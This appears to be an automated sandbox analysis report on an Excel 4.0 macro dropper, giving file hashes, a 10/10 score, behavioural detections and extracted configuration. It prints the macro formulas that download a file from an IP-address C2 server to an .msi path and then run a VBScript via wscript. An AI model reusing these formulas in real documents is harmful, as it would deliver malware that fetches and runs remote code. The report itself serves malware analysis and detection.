General

  • Target

    2483f673546f22df7be744f55b8d6509

  • Size

    6KB

  • Sample

    231221-3d6rwaadak

  • MD5

    2483f673546f22df7be744f55b8d6509

  • SHA1

    b543a881df828a5b6534c077235306c55cc52b8c

  • SHA256

    36e50c15bb82d2904a8ca81a380037070fa94fd7b182440e6156110d7762f81c

  • SHA512

    426849caa12777dac2d15202daf43df0d573ebc124a0fdaa7f5006569a4a64b8abd44c0be2aeb38c241ad5bf8a2bae0566623c6262f414d1c14fbe8817c2226f

  • SSDEEP

    192:NDSwuSebrA2OmmfRd8UhHFBFYu7b98yUc+T:NnufM2wD1FY6b98yU5

Score
10/10
xlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://46.17.98.187/index.php

http://google.com/index.php

Attributes
  • formulas

    =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://46.17.98.187/index.php","C:\~\pes.msi",0,0) =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://google.com/index.php","C:\~\pes.msi",0,0) =EXEC("wscript C:\zer\spp.vbs") =HALT()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://46.17.98.187/index.php

xlm40.dropper

http://google.com/index.php

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://46.17.98.187/index.php

Targets

    • Target

      2483f673546f22df7be744f55b8d6509

    • Size

      6KB

    • MD5

      2483f673546f22df7be744f55b8d6509

    • SHA1

      b543a881df828a5b6534c077235306c55cc52b8c

    • SHA256

      36e50c15bb82d2904a8ca81a380037070fa94fd7b182440e6156110d7762f81c

    • SHA512

      426849caa12777dac2d15202daf43df0d573ebc124a0fdaa7f5006569a4a64b8abd44c0be2aeb38c241ad5bf8a2bae0566623c6262f414d1c14fbe8817c2226f

    • SSDEEP

      192:NDSwuSebrA2OmmfRd8UhHFBFYu7b98yUc+T:NnufM2wD1FY6b98yU5

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Process spawned suspicious child process

      This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

MITRE ATT&CK Enterprise v15

Tasks